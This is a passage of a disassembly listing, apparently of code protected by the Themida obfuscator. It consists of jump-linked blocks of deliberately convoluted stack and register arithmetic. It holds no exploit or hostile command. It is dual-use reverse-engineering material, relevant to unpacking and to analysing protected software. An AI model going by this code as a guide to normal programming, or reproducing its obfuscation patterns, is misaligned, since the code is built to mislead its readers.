loc_59838C ; --------------------------------------------------------------------------- loc_5A9075: ; CODE XREF: Themida_:005A3A44j add esi, 4 xchg esi, [esp] jmp loc_59A555 ; --------------------------------------------------------------------------- loc_5A9080: ; CODE XREF: Themida_:005A22D7j xchg eax, [esp] pop esp jmp loc_5AD4DB ; --------------------------------------------------------------------------- loc_5A9089: ; CODE XREF: Themida_:005AC006j jmp loc_5AB55D ; --------------------------------------------------------------------------- loc_5A908E: ; CODE XREF: Themida_:005A0AE4j ; Themida_:005A352Cj pop edx jmp loc_5A78DB ; --------------------------------------------------------------------------- loc_5A9094: ; CODE XREF: Themida_:0059E323j ; Themida_:005A9CB1j mov ebx, 4 add eax, ebx pop ebx add eax, 4 push 77A7h mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_5A8D70 ; --------------------------------------------------------------------------- loc_5A90B5: ; CODE XREF: Themida_:005A3FB6j shr ebp, 4 xor ebp, 5D270EBEh add eax, ebp pop ebp jmp loc_5AF431 ; --------------------------------------------------------------------------- loc_5A90C6: ; CODE XREF: Themida_:0059E992j mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] jmp loc_5AED3E ; --------------------------------------------------------------------------- loc_5A90DC: ; CODE XREF: Themida_:005A767Dj mov edx, [esp] add esp, 4 add al, 0A7h add al, dl sub al, 0A7h push ecx jmp loc_599AEA ; --------------------------------------------------------------------------- loc_5A90F1: ; CODE XREF: Themida_:005A4BFFj push eax push edx mov edx, 4 push 1F56h mov [esp], edx sub esp, 4 mov [esp], ebp push ebx mov ebx, 7ED41C1Fh jmp loc_5A0CF7 ; --------------------------------------------------------------------------- loc_5A9111: ; CODE XREF: Themida_:005A685Bj push dword ptr [esp] pop ecx add esp, 4 sub al, 9Bh sub al, dl add al, 9Bh push dword ptr [esp] pop edx add esp, 4 pop ecx push eax jmp loc_5AA0AC ; --------------------------------------------------------------------------- loc_5A912F: ; CODE XREF: Themida_:005A0005j ; Themida_:005A52DAj push dword ptr [esp] push dword ptr [esp] jmp loc_5AD705 ; --------------------------------------------------------------------------- loc_5A913A: ; CODE XREF: Themida_:0059AEA9j mov esi, 4 jmp loc_5A2D8D ; --------------------------------------------------------------------------- loc_5A9144: ; CODE XREF: Themida_:005A551Cj pop edx push ebx mov ebx, esp jmp loc_5AAABF ; --------------------------------------------------------------------------- loc_5A914D: ; CODE XREF: Themida_:0059F644j ; Themida_:005A6496j jns loc_5A39AF sub esi, 48E06892h jmp loc_5ABAA8 ; --------------------------------------------------------------------------- loc_5A915E: ; CODE XREF: Themida_:0059A68Ej ; Themida_:0059C71Aj xor esi, ebp pop ebp jmp loc_598534 ; --------------------------------------------------------------------------- loc_5A9166: ; CODE XREF: Themida_:005A56C1j mov [esp], ebp mov ebp, 3AED3C09h not ebp sub ebp, 0FFFFFFFFh jmp loc_5ABF12 ; --------------------------------------------------------------------------- loc_5A9178: ; CODE XREF: Themida_:0059AC80j ; Themida_:005A538Ej mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 sub esp, 4 mov [esp], ecx jmp loc_5A5A32 ; --------------------------------------------------------------------------- loc_5A9190: ; CODE XREF: Themida_:00598888j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_5A166C ; --------------------------------------------------------------------------- loc_5A91A1: ; CODE XREF: Themida_:005ADBA6j push edi jmp loc_59AA09 ; --------------------------------------------------------------------------- loc_5A91A7: ; CODE XREF: Themida_:005A03C6j mov ebx, 1E22372Dh or eax, ebx jmp loc_5A3AFB ; --------------------------------------------------------------------------- loc_5A91B3: ; CODE XREF: Themida_:0059B54Aj push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_59C7A1 ; --------------------------------------------------------------------------- loc_5A91C3: ; CODE XREF: Themida_:0059C3CEj push ecx push 7B95329Eh jmp loc_5AC710 ; --------------------------------------------------------------------------- loc_5A91CE: ; CODE XREF: Themida_:0059B286j dec esi jmp loc_59923A ; --------------------------------------------------------------------------- loc_5A91D4: ; CODE XREF: Themida_:005A6CB9j push esp mov edi, [esp] add esp, 4 jmp loc_5AEC47 ; --------------------------------------------------------------------------- loc_5A91E3: ; CODE XREF: Themida_:005A9ADEj pop ecx add al, bl push ecx mov cl, 0DAh add cl, 1 dec cl push edx mov dh, 0ACh inc dh push 0 sub [esp], dh mov dh, [esp] jmp loc_5A6381 ; --------------------------------------------------------------------------- loc_5A9203: ; CODE XREF: Themida_:005AF2DFj add eax, ebp pop ebp sub esp, 4 jmp loc_598822 ; --------------------------------------------------------------------------- loc_5A920E: ; CODE XREF: Themida_:0059DBF8j mov edx, [esp] jmp loc_5AA50A ; --------------------------------------------------------------------------- loc_5A9216: ; CODE XREF: Themida_:loc_5AE959j shr cl, 1 jp loc_5AE1E0 jmp loc_598DEB ; --------------------------------------------------------------------------- loc_5A9223: ; CODE XREF: Themida_:005AB3FBj add esi, eax add esi, 107A3CCAh push eax mov eax, 1CF23BE8h sub esi, eax pop eax sub esp, 4 mov [esp], edi mov edi, 6F4F4F2Ah sub esi, edi pop edi jmp loc_5ABCA3 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5A640D ; --------------------------------------------------------------------------- loc_5A9253: ; CODE XREF: Themida_:005AE223j push 1768h mov [esp], ecx jmp loc_59A035 ; --------------------------------------------------------------------------- loc_5A9260: ; CODE XREF: Themida_:0059EB10j pop esi dec edx shl edx, 5 xor edx, 4A92FD0h mov ecx, edx pop edx mov esi, ecx pop ecx jmp loc_5A3268 ; --------------------------------------------------------------------------- loc_5A9276: ; CODE XREF: Themida_:0059ADA2j push eax mov ah, bh mov cl, ah pop eax push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_59F843 ; --------------------------------------------------------------------------- loc_5A9290: ; CODE XREF: Themida_:0059AB5Aj add esp, 2 push 1418h jmp loc_5A28CA ; --------------------------------------------------------------------------- loc_5A929D: ; CODE XREF: Themida_:loc_5992ABj push ebx jmp loc_5A2900 ; --------------------------------------------------------------------------- lodsd push edx mov edx, 2B464BCBh xor edx, 37F451A2h shr edx, 7 xor edx, 2E1A14ECh neg edx jmp loc_59AB5F ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_5993BE ; --------------------------------------------------------------------------- loc_5A92CC: ; CODE XREF: Themida_:005988DEj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push 2E84692Ch pop eax and eax, 2BB25426h jnp loc_5AD007 push edx mov edx, 7C362328h xor eax, edx mov edx, [esp] add esp, 4 jmp loc_59F06D ; --------------------------------------------------------------------------- loc_5A9305: ; CODE XREF: Themida_:0059ED63j add esi, eax push edi jmp loc_5AACC0 ; --------------------------------------------------------------------------- loc_5A930D: ; CODE XREF: Themida_:005AA0A7j pop esp movzx ax, byte ptr [eax] sub esp, 4 mov [esp], ebx sub esp, 4 push esp pop dword ptr [esp] push esi jmp loc_59B414 ; --------------------------------------------------------------------------- loc_5A9325: ; CODE XREF: Themida_:0059FE47j add esp, 4 xor edi, ebp pop ebp xor eax, edi mov edi, [esp] jmp loc_59867A ; --------------------------------------------------------------------------- loc_5A9338: ; CODE XREF: Themida_:005A982Bj mov ebx, 1D17710Eh xor ebx, 1D17710Ch add ecx, 61022087h jmp loc_5AA9A5 ; --------------------------------------------------------------------------- loc_5A934E: ; CODE XREF: Themida_:005AB0A4j mov ebx, ecx jmp loc_59F1CB ; --------------------------------------------------------------------------- loc_5A9355: ; CODE XREF: Themida_:0059B813j add esi, 0DF8AB5EDh jmp loc_5AE70F ; --------------------------------------------------------------------------- loc_5A9360: ; CODE XREF: Themida_:005ABEAEj sub esi, edi pop edi jmp loc_5AD359 ; --------------------------------------------------------------------------- loc_5A9368: ; CODE XREF: Themida_:0059EF4Aj add eax, 4 xchg eax, [esp] pop esp push ebx mov bl, 34h push ecx jmp loc_5ABAA8 ; --------------------------------------------------------------------------- loc_5A937A: ; CODE XREF: Themida_:005ABBA7j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A937F: ; CODE XREF: Themida_:0059ED20j push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_5A15C1 ; --------------------------------------------------------------------------- loc_5A938C: ; CODE XREF: Themida_:0059A132j inc ch jmp loc_59CDC4 ; --------------------------------------------------------------------------- loc_5A9393: ; CODE XREF: Themida_:005A8DFAj mov edi, 212130E1h jmp loc_5AA203 ; --------------------------------------------------------------------------- loc_5A939D: ; CODE XREF: Themida_:00599A73j and ebx, 6CD561D4h xor ebx, 4F4729C6h push ebp push ebx mov ebx, 0DF47FAD8h mov ebp, ebx mov ebx, [esp] add esp, 4 xor ebx, ebp pop ebp add eax, ebx jmp loc_5A7A44 ; --------------------------------------------------------------------------- loc_5A93C2: ; CODE XREF: Themida_:0059F7AEj mov edi, 2794C08h add [esp+4], edi pop edi pop esi sub esi, 2794C08h pop eax sub edx, esi jmp loc_59B4F0 ; --------------------------------------------------------------------------- loc_5A93DB: ; CODE XREF: Themida_:0059AE17j push edx sub esp, 4 mov [esp], eax mov ah, 97h mov dh, 25h xor dh, ah pop eax shl dh, 3 add dh, 92h jmp loc_5A3B1A ; --------------------------------------------------------------------------- loc_5A93F7: ; CODE XREF: Themida_:loc_5AC5D2j xor al, 25h jmp loc_5A74E0 ; --------------------------------------------------------------------------- loc_5A93FE: ; CODE XREF: Themida_:005A37F3j sub bl, 0Ch sub dh, bl jmp loc_5A0B95 ; --------------------------------------------------------------------------- loc_5A9408: ; CODE XREF: Themida_:005A4C08j push 426Eh mov [esp], ebp push 4E6h push esp pop dword ptr [esp] push ecx jmp loc_5AEEDF ; --------------------------------------------------------------------------- loc_5A941F: ; CODE XREF: Themida_:0059E8A2j push dword ptr [esp] jmp loc_59BBE5 ; --------------------------------------------------------------------------- loc_5A9427: ; CODE XREF: Themida_:loc_59DFEBj jmp loc_5A020D ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5A7C68 ; --------------------------------------------------------------------------- loc_5A9435: ; CODE XREF: Themida_:005ABB32j pop esi jmp loc_5AD3B4 ; --------------------------------------------------------------------------- loc_5A943B: ; CODE XREF: Themida_:005A7959j push esp pop esi push eax jmp loc_5ACA14 ; --------------------------------------------------------------------------- loc_5A9443: ; CODE XREF: Themida_:005A2214j mov edx, 31BF749Bh add edx, 0BCB58B8h jmp loc_59E799 ; --------------------------------------------------------------------------- loc_5A9453: ; CODE XREF: Themida_:005A2B55j ; Themida_:005AC720j neg ecx xor ecx, 4AC4F544h mov edx, ecx mov ecx, [esp] add esp, 4 jmp loc_5AC904 ; --------------------------------------------------------------------------- loc_5A946B: ; CODE XREF: Themida_:0059B5C8j mov edx, [esp] add esp, 4 push dword ptr [esp] jmp loc_5A0433 ; --------------------------------------------------------------------------- loc_5A9479: ; CODE XREF: Themida_:005A6CA8j mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp add ebp, ecx jmp loc_59B25D ; --------------------------------------------------------------------------- loc_5A948C: ; CODE XREF: Themida_:0059964Aj mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push 2414h mov [esp], eax jmp loc_59A744 ; --------------------------------------------------------------------------- loc_5A94AE: ; CODE XREF: Themida_:0059DB7Ej mov bh, 40h sub ch, 0D8h add ch, bh add ch, 0D8h jmp loc_5A8E1F ; --------------------------------------------------------------------------- loc_5A94BD: ; CODE XREF: Themida_:0059B2FDj push eax mov eax, esp push 78C2h mov [esp], ebp push ebx push 12DF1128h pop ebx sub ebx, 6DAA7884h jo loc_59A6A7 sub ebx, 0FFFFFFFFh and ebx, 78003E9h push esi mov esi, 6860945h add esi, 1A5B5A08h jmp loc_5A5802 ; --------------------------------------------------------------------------- loc_5A94F5: ; CODE XREF: Themida_:005A3C81j mov [esp], edx mov edx, esp add edx, 4 push 7002h mov [esp], edi jmp loc_5AD98A ; --------------------------------------------------------------------------- loc_5A950D: ; CODE XREF: Themida_:005AF04Cj or dl, al pop eax not dl sub dl, 0E7h jmp loc_5A682F ; --------------------------------------------------------------------------- loc_5A951A: ; CODE XREF: Themida_:loc_5988A9j ; Themida_:005A9AF3j sub ecx, 6B34794Ah jl loc_59BA2D jmp loc_5A9B5C ; --------------------------------------------------------------------------- add esi, 32D12A09h loc_5A9531: ; CODE XREF: Themida_:005AD396j xor ebx, 983FE4C1h jmp loc_59F642 ; --------------------------------------------------------------------------- loc_5A953C: ; CODE XREF: Themida_:005A1D9Dj ; Themida_:005A3E72j push eax push dword ptr [esp+4] pop eax jmp loc_5AC694 ; --------------------------------------------------------------------------- loc_5A9547: ; CODE XREF: Themida_:005A511Bj add ebp, esi mov esi, [esp] add esp, 4 or [edi+1Ch], ebp jmp loc_5A1D80 ; --------------------------------------------------------------------------- loc_5A9557: ; CODE XREF: Themida_:005AE392j sub bl, dl pop edx add bl, cl add bl, 56h pop cx movzx eax, al push small 685Dh jmp loc_59C7A9 ; --------------------------------------------------------------------------- loc_5A956D: ; CODE XREF: Themida_:005987E1j mov esi, 0F6FCBC30h jmp loc_5A557A ; --------------------------------------------------------------------------- loc_5A9577: ; CODE XREF: Themida_:00599A4Dj and ecx, 328C1ADDh push 4E85h mov [esp], ebx mov ebx, 567241EFh not ebx push edi mov edi, 0 sub edi, ebx xchg edi, ebx pop edi xor ebx, 8C5384Ch dec ebx push eax mov eax, 779A3EE5h dec eax and eax, 2832730h sub eax, 0EF082496h xor ebx, eax pop eax add ebx, 0CDD4FE3Bh jmp loc_5A7F68 ; --------------------------------------------------------------------------- loc_5A95BD: ; CODE XREF: Themida_:00598C14j ; Themida_:0059A215j xor ecx, [esp] pop esp mov [esp], ebp push 195Bh mov [esp], esi mov esi, 770B6A76h and esi, 5C6E6834h jnb loc_5A2361 shr esi, 2 jnz loc_5A241A jmp loc_5A22F3 ; --------------------------------------------------------------------------- loc_5A95EB: ; CODE XREF: Themida_:005A06EBj push ecx mov ecx, 4 sub edx, ecx jmp loc_5A00F9 ; --------------------------------------------------------------------------- loc_5A95F8: ; CODE XREF: Themida_:005A70F0j add ecx, 4 add ecx, 4 jmp loc_59EC5E ; --------------------------------------------------------------------------- loc_5A9606: ; CODE XREF: Themida_:005AEB38j pop edx pop ebx jmp loc_5A35C7 ; --------------------------------------------------------------------------- loc_5A960D: ; CODE XREF: Themida_:005A978Ej xchg eax, [esp] mov esp, [esp] push 7B1Ch mov [esp], ecx push 4 push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx jmp loc_5A8DDE ; --------------------------------------------------------------------------- loc_5A962F: ; CODE XREF: Themida_:005A8D33j neg ecx jmp loc_59B666 ; --------------------------------------------------------------------------- loc_5A9636: ; CODE XREF: Themida_:005AD5AEj push ecx jmp loc_5A23AE ; --------------------------------------------------------------------------- loc_5A963C: ; CODE XREF: Themida_:0059B0BEj neg eax push ecx push 660947C7h pop ecx xor ecx, 1DA5165Ah sub eax, ecx jmp loc_5AA9EF ; --------------------------------------------------------------------------- loc_5A9652: ; CODE XREF: Themida_:005A51DDj push eax push dword ptr [esp+4] jmp loc_59F9DA ; --------------------------------------------------------------------------- loc_5A965C: ; CODE XREF: Themida_:005AD35Cj pop esp mov [esp], ecx jmp loc_5AEE7B ; --------------------------------------------------------------------------- loc_5A9665: ; CODE XREF: Themida_:0059F535j sub edx, 4 jmp loc_59BC81 ; --------------------------------------------------------------------------- loc_5A966D: ; CODE XREF: Themida_:loc_5A7D10j or eax, 7CC95B89h or eax, 280E65E8h jno loc_59D2C8 jmp loc_5A2B2D ; --------------------------------------------------------------------------- and dl, 0A8h sub dl, 0D6h shr dl, 7 push eax loc_5A968C: ; CODE XREF: Themida_:005A60A1j not ebp or ebp, 62802628h shr ebp, 3 and ebp, 647D64C3h xor ebp, 76F534Ch xor ebp, 33E378Bh add ebx, ebp pop ebp push eax mov eax, esp jmp loc_5A2EFC ; --------------------------------------------------------------------------- mov ax, [esp] push edx push esp pop edx push 3CDh mov [esp], esi mov esi, 4 add edx, esi jmp loc_59E2E5 ; --------------------------------------------------------------------------- loc_5A96CF: ; CODE XREF: Themida_:005A766Dj push ebp jmp loc_5A4F66 ; --------------------------------------------------------------------------- loc_5A96D5: ; CODE XREF: Themida_:005A8332j jmp loc_5A6952 ; --------------------------------------------------------------------------- loc_5A96DA: ; CODE XREF: Themida_:00599962j sub ecx, 39502BACh add ecx, 5CF5573Dh sub ecx, edi sub ecx, 5CF5573Dh push eax mov eax, 39502BACh add ecx, eax pop eax jmp loc_59859C ; --------------------------------------------------------------------------- loc_5A96FC: ; CODE XREF: Themida_:loc_5A7CEEj jmp loc_59F431 ; --------------------------------------------------------------------------- loc_5A9701: ; CODE XREF: Themida_:005A5248j ; Themida_:005A64FCj add esp, 4 jmp loc_5A9E16 ; --------------------------------------------------------------------------- mov ecx, [esp] push esi mov esi, esp push ecx push eax push edi mov edi, 74635EA0h push ecx mov ecx, 0EA42AB36h add edi, ecx pop ecx mov eax, edi mov edi, [esp] add esp, 4 dec eax jnp loc_5AEE59 add eax, 475D42F3h jnp loc_5ADB64 loc_5A973A: ; CODE XREF: Themida_:0059906Fj mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_5AF1CD ; --------------------------------------------------------------------------- loc_5A974E: ; CODE XREF: Themida_:005A6AA1j add esp, 4 push 8C8h mov [esp], eax mov eax, esp jmp loc_5A3E88 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp jmp loc_598523 ; --------------------------------------------------------------------------- loc_5A9774: ; CODE XREF: Themida_:0059E4C8j pop esp jmp loc_5AA44D ; --------------------------------------------------------------------------- loc_5A977A: ; CODE XREF: Themida_:005A6AA7j add eax, 4 push edi mov edi, 4B753C95h sub edi, 4B753C91h add eax, edi pop edi jmp loc_5A960D ; --------------------------------------------------------------------------- loc_5A9793: ; CODE XREF: Themida_:005A0D81j push eax mov eax, 228A2F9Bh not eax jmp loc_5AEEEA ; --------------------------------------------------------------------------- loc_5A97A0: ; CODE XREF: Themida_:0059B389j jmp loc_5ABF6F ; --------------------------------------------------------------------------- loc_5A97A5: ; CODE XREF: Themida_:005A4415j mov ebp, [esp] push ecx mov ecx, esp jmp loc_5AD760 ; --------------------------------------------------------------------------- loc_5A97B0: ; CODE XREF: Themida_:005ACAEEj xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx xor ecx, edi xor edi, ecx xor ecx, edi xor edi, edx xor edx, edi xor edi, edx xchg esi, edx not esi xchg esi, edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push 5677h mov [esp], edx pop edi mov edx, [esp] add esp, 4 push ecx jmp loc_5A7AA3 ; --------------------------------------------------------------------------- loc_5A97F8: ; CODE XREF: Themida_:005AC3DFj neg edi jns loc_59CED9 jmp loc_5A1FCD ; --------------------------------------------------------------------------- loc_5A9805: ; CODE XREF: Themida_:00598607j ; Themida_:0059AC41j ... pop ebx xor ebx, 64116AE8h mov ecx, ebx pop ebx add ebp, ecx pop ecx xchg ebp, [esp] pop esp push esi jmp loc_59E67E ; --------------------------------------------------------------------------- loc_5A981C: ; CODE XREF: Themida_:005AD168j mov [esp], ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi push ebx jmp loc_5A9338 ; --------------------------------------------------------------------------- mov cx, [esp] push 1EC4h jmp loc_5A5A67 ; --------------------------------------------------------------------------- loc_5A983E: ; CODE XREF: Themida_:005AB28Dj mov edi, [esp] add esp, 4 and ecx, ebp jmp loc_5AD0B1 ; --------------------------------------------------------------------------- loc_5A984E: ; CODE XREF: Themida_:005A4A1Dj mov ch, 40h xor ch, ah jmp loc_5A9F83 ; --------------------------------------------------------------------------- loc_5A9857: ; CODE XREF: Themida_:00599B1Ej push 0F7Ah mov [esp], eax sub esp, 4 push 1C91h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push 5AEEh jmp loc_5A074D ; --------------------------------------------------------------------------- loc_5A9884: ; CODE XREF: Themida_:005A2272j push esi push dword ptr [esp+4] mov esi, [esp] push edx push esp pop edx jmp loc_5A2950 ; --------------------------------------------------------------------------- loc_5A9894: ; CODE XREF: Themida_:005AEFA3j add ebx, 399CFAF0h sub eax, 147B3C8Eh sub eax, ebx add eax, 147B3C8Eh pop ebx add eax, 1E304C22h sub eax, ebx sub eax, 1E304C22h sub esp, 4 mov [esp], ecx push 390C70E6h mov ecx, [esp] push edx mov edx, esp add edx, 4 jmp loc_5AA3D8 ; --------------------------------------------------------------------------- loc_5A98D2: ; CODE XREF: Themida_:0059B535j pop ebx sub ecx, 0FDEECF7Bh add esi, ecx jmp loc_5AA939 ; --------------------------------------------------------------------------- loc_5A98E0: ; CODE XREF: Themida_:005A7FFCj push 33EBh mov [esp], esp push eax mov eax, 4 add [esp+4], eax mov eax, [esp] add esp, 4 mov ecx, [esp] jmp loc_59A693 ; --------------------------------------------------------------------------- loc_5A9900: ; CODE XREF: Themida_:005A28BFj pop ebx add edx, eax pop eax jmp loc_5A07BA ; --------------------------------------------------------------------------- loc_5A9909: ; CODE XREF: Themida_:005A6262j dec ebx jns loc_5A7185 jmp loc_5A140C ; --------------------------------------------------------------------------- add esp, 4 mov bl, ch mov al, 5 loc_5A991F: ; CODE XREF: Themida_:005A3D8Dj ; Themida_:005A4010j mov ecx, 72C81F85h shl ecx, 4 sub ecx, 793070D3h shl ecx, 4 and ecx, 632454CEh sub ecx, 3351751h jmp loc_5AB762 ; --------------------------------------------------------------------------- loc_5A9941: ; CODE XREF: Themida_:0059F16Aj push ebp push dword ptr [esp+4] pop ebp jmp loc_5A563F ; --------------------------------------------------------------------------- loc_5A994C: ; CODE XREF: Themida_:005AE130j add ebx, 29B56404h sub ebx, 16C63169h xor eax, ebx pop ebx add eax, 97981A6Bh push esi mov esi, eax jmp loc_59EF9D ; --------------------------------------------------------------------------- loc_5A9968: ; CODE XREF: Themida_:005AD961j push edi mov edi, 124C0B93h neg edi shr edi, 6 shl edi, 7 and edi, 2DEF3674h shl edi, 5 sub edi, 2C82C4F4h mov ecx, edi pop edi add edi, ecx mov ecx, [esp] add esp, 4 add edi, ecx sub edi, offset aEEEEEEEEEEEEEE ; "₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί"... sub edi, 13DA2498h jmp loc_5A1CB4 ; --------------------------------------------------------------------------- loc_5A99A3: ; CODE XREF: Themida_:005A02B4j js loc_59A095 xor ebp, 18604524h jmp loc_5A530A ; --------------------------------------------------------------------------- loc_5A99B4: ; CODE XREF: Themida_:005A4CB8j add esp, 4 jmp loc_5A2439 ; --------------------------------------------------------------------------- loc_5A99BC: ; CODE XREF: Themida_:0059A22Cj add esi, ecx sub esp, 4 mov [esp], ebp mov ebp, 2EDA560Dh add esi, ebp mov ebp, [esp] add esp, 4 sub esi, 28C0A9Dh mov ecx, [esp] add esp, 4 push eax push ebx mov ebx, 4 jmp loc_59BCBD ; --------------------------------------------------------------------------- loc_5A99EF: ; CODE XREF: Themida_:005A2CDEj mov ebx, 4 jmp loc_5AB320 ; --------------------------------------------------------------------------- loc_5A99F9: ; CODE XREF: Themida_:005AC101j pop dx shl bl, 2 sub bl, 1Ah sub bl, 95h sub al, bl jmp loc_5AD3FD ; --------------------------------------------------------------------------- loc_5A9A0B: ; CODE XREF: Themida_:loc_59860Cj dec ecx jl loc_5AC7D8 jmp loc_59DC2B ; --------------------------------------------------------------------------- loc_5A9A17: ; CODE XREF: Themida_:0059F737j add esp, 4 add edx, 4157882h push ecx mov ecx, 0 jmp loc_5A691B ; --------------------------------------------------------------------------- loc_5A9A2E: ; CODE XREF: Themida_:005A3244j push esi mov esi, 4F563E4Ch or esi, 190283Fh jmp loc_5A4D62 ; --------------------------------------------------------------------------- loc_5A9A3F: ; CODE XREF: Themida_:loc_5A1F7Aj xor edx, 3F1A2417h jmp loc_5A4856 ; --------------------------------------------------------------------------- loc_5A9A4A: ; CODE XREF: Themida_:005A8F85j pop eax push eax mov eax, 22EA2149h add ebx, eax pop eax mov edi, ebx pop ebx add eax, edi pop edi sub esp, 4 mov [esp], esi push ebx sub esp, 4 mov [esp], eax push edi jmp loc_5A6805 ; --------------------------------------------------------------------------- loc_5A9A6D: ; CODE XREF: Themida_:005AAD8Fj add dword ptr [esp], 55E97D92h push edi mov edi, 5B67784Ah sub [esp+4], edi mov edi, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A9A89: ; CODE XREF: Themida_:005A52E5j mov [esp], ebx jmp loc_59E507 ; --------------------------------------------------------------------------- loc_5A9A91: ; CODE XREF: Themida_:005A4D5Dj pop ecx add bl, dh mov edx, [esp] jmp loc_59CF68 ; --------------------------------------------------------------------------- loc_5A9A9C: ; CODE XREF: Themida_:005A3780j mov ecx, [esp] push esi jmp loc_5AC082 ; --------------------------------------------------------------------------- loc_5A9AA5: ; CODE XREF: Themida_:005A5347j xor eax, 545066DCh and eax, 2EC63A71h or eax, 7336605Fh sub eax, 7FF67A5Eh add esi, eax mov eax, [esp] add esp, 4 jmp loc_5A8B2C ; --------------------------------------------------------------------------- loc_5A9AC6: ; CODE XREF: Themida_:005A862Ej pop eax push esi mov esi, 12FE6864h sub esi, 12FE6860h sub edi, esi jmp loc_5AE682 ; --------------------------------------------------------------------------- loc_5A9ADA: ; CODE XREF: Themida_:0059B120j pop ax sub al, cl jmp loc_5A91E3 ; --------------------------------------------------------------------------- loc_5A9AE3: ; CODE XREF: Themida_:0059BFB1j mov [esp], ecx jmp loc_5A233B ; --------------------------------------------------------------------------- loc_5A9AEB: ; CODE XREF: Themida_:005A3CDAj xor ebx, edi jmp loc_5AABB3 ; --------------------------------------------------------------------------- loc_5A9AF2: ; CODE XREF: Themida_:0059F88Aj push edi jmp loc_5A951A ; --------------------------------------------------------------------------- loc_5A9AF8: ; CODE XREF: Themida_:0059F327j add esi, 4 jmp loc_598DBA ; --------------------------------------------------------------------------- loc_5A9B00: ; CODE XREF: Themida_:0059F72Dj push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_5AE274 ; --------------------------------------------------------------------------- loc_5A9B0F: ; CODE XREF: Themida_:0059959Aj ; Themida_:005AEF6Cj push eax push edx mov edx, 0B8353DCh mov eax, 7F1A0FFBh xor eax, edx pop edx or eax, 766301F4h shr eax, 7 jmp loc_5A63D4 ; --------------------------------------------------------------------------- loc_5A9B2B: ; CODE XREF: Themida_:005AA586j push eax mov eax, 0CEB7AB35h xor ebp, eax pop eax mov edx, ebp jmp loc_5AAF49 ; --------------------------------------------------------------------------- loc_5A9B3B: ; CODE XREF: Themida_:005AE0C0j pop esp xor eax, [esp] jmp loc_59E55E ; --------------------------------------------------------------------------- loc_5A9B44: ; CODE XREF: Themida_:0059A620j add edx, 50A45E34h or edx, 0B57122Ah jmp loc_5AA31A ; --------------------------------------------------------------------------- loc_5A9B55: ; CODE XREF: Themida_:0059B61Ej ; Themida_:005AC886j sub edx, eax jmp loc_59D110 ; --------------------------------------------------------------------------- loc_5A9B5C: ; CODE XREF: Themida_:005A8594j ; Themida_:005A9526j add ebp, edx sub ebp, 69C5CEDh pop edx xchg ebp, [esp] mov esp, [esp] sub [esp], eax pushf jmp loc_5A6DC0 ; --------------------------------------------------------------------------- loc_5A9B74: ; CODE XREF: Themida_:0059CEC7j mov [esp], edx mov edx, 1000000h and eax, edx jmp loc_5ACBB8 ; --------------------------------------------------------------------------- loc_5A9B83: ; CODE XREF: Themida_:0059C17Cj push edx mov edx, esp push ecx sub esp, 4 mov [esp], edx jmp loc_5A004A ; --------------------------------------------------------------------------- loc_5A9B95: ; CODE XREF: Themida_:0059E753j jbe loc_5A6916 jmp loc_5ACF9B ; --------------------------------------------------------------------------- add ecx, edx add dword ptr [ecx], 1 loc_5A9BA8: ; CODE XREF: Themida_:00599A42j mov ecx, [esp] add esp, 4 and eax, ebp jmp loc_5A8019 ; --------------------------------------------------------------------------- loc_5A9BB5: ; CODE XREF: Themida_:0059C10Bj pop esp mov ax, [esp] push ebx mov ebx, esp push 0F5Ch mov [esp], edi sub esp, 4 mov [esp], esi jmp loc_5AE0C5 ; --------------------------------------------------------------------------- loc_5A9BD3: ; CODE XREF: Themida_:005A84BBj mov esi, 18CB260Ah jmp loc_59E3DA ; --------------------------------------------------------------------------- loc_5A9BDD: ; CODE XREF: Themida_:0059881Dj neg edi js loc_5A561C sub edi, 7C74A3EFh mov ecx, edi pop edi jmp loc_5A613F ; --------------------------------------------------------------------------- push eax loc_5A9BF4: ; CODE XREF: Themida_:005A1F55j ; Themida_:005AA4A5j push eax mov al, 62h sub al, 3Dh mov bl, al jmp loc_5AD32D ; --------------------------------------------------------------------------- loc_5A9C00: ; CODE XREF: Themida_:005A7745j not esi sub esi, 0CED3CACEh jmp loc_59F8AA ; --------------------------------------------------------------------------- loc_5A9C0D: ; CODE XREF: Themida_:005ACD8Bj mov edx, 27295BF2h inc edx jns loc_59BFE2 and edx, 2EA45897h jb loc_5A4413 shr edx, 8 loc_5A9C28: ; CODE XREF: Themida_:005A4C7Dj mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] xor [esp+4], ebx mov ebx, [esp] push ebp mov ebp, esp jmp loc_5A44C1 ; --------------------------------------------------------------------------- loc_5A9C4C: ; CODE XREF: Themida_:0059E132j mov [esp], ecx mov ecx, 6896846h push esi jmp loc_5A2591 ; --------------------------------------------------------------------------- loc_5A9C5A: ; CODE XREF: Themida_:005AED07j mov ebp, [esp] add esp, 4 add esp, 4 inc edx push ecx jmp loc_5A7F04 ; --------------------------------------------------------------------------- loc_5A9C6D: ; CODE XREF: 